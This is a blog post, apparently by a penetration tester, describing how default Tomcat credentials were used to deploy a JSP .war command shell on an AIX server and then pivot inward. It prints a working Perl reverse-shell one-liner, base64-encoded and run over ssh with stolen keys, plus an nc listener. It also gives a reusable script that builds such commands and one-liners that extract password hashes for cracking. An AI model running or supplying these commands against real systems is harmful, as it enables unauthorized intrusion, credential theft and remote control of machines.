Pivoting through Tomcat

On a recent pen-test engagement we had come across a Tomcat server with default creds. Trying to old tried and true methods with Metasploit did not work to get a shell on the box , which was running proprietary IBM_AIX. The exploit would be successful but no connect-back. Because of the limited time instead of trying to test for egress (and later finding out theres no payloads for metasploit), we tried another method of uploading a JSP .war file to the box that once deployed, enabled us to browse and run commands.

Attached is the .war file used during testing ::HERE::
Because we were root we were able to dump the contents /etc/security/passwd.

Further browsing showed SSH keys stored in the user folders. Along with the known_hosts file we were able to see some of the internal machines we could pivot from. These internal machines had unblocked outbound access and we tried to send a perl shell back to our attacker box outside the network. The limited .war cmd shell was chopping up our perl command parameters so we had the idea to base64 encode the perl shell then run it as a command once we connect to the internal box with ssh.

So first we piped the code through openssl to encode it, and used sed clean it up

echo perl -e 'use Socket;$i="";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' | openssl base64 -e  | sed ':a;N;$!ba;s/\n//g'

and got an output string similar to


then pasted that into our command that we sent to our .war cmd prompt

ssh -i /s00peradmin/.ssh/id_dsa -o PasswordAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no s00peradmin@internalboxhost "echo "cGVybCAtZSB1c2UgU29ja2V0OyRpPSjk5IjskcD04MDgwO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZ2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Cg==" | openssl base64 -d -A | /bin/bash"

Before we executing, we made sure netcat was running on our jumpbox

nc -lvp 8080

and then executed the command in the warfile we were able to shovel a perl shell back as that ssh user from the internal box. From there it was pretty much game over that i can’t discuss further.

My teammate created a simple bash script to make the base64 encoding easier for next time:

var=$(echo $pastashell | openssl base64 -d -A |sed s/IP_ADDRESS/$1/g | sed s/PORT/$2/g |openssl base64 -e | sed ':a;N;$!ba;s/\n//g')
echo "ssh -i "$3" -o PasswordAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no" $4 "\"echo \""$var"\" | openssl base64 -d -A | /bin/bash\""

save above code as makinPasta.sh chmod +x then run it with the parameters

makinPasta.sh <RHOST> <RPORT> <SSH_Key_Path> <User@InternalHost>


makinPasta.sh 8080 /s00peradmin/.ssh/id_dsa s00peradmin@internalboxhost

also here’s some ways to parse the passwd file for cracking

cat passwd | egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'|grep -v :password= | sed '/\*/d' 


cat passwd|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'

just hashes (remove * and password=)

cat passwd|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g' | awk -F':' '{print $2}' |grep -v password= | sed '/\*/d'
Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *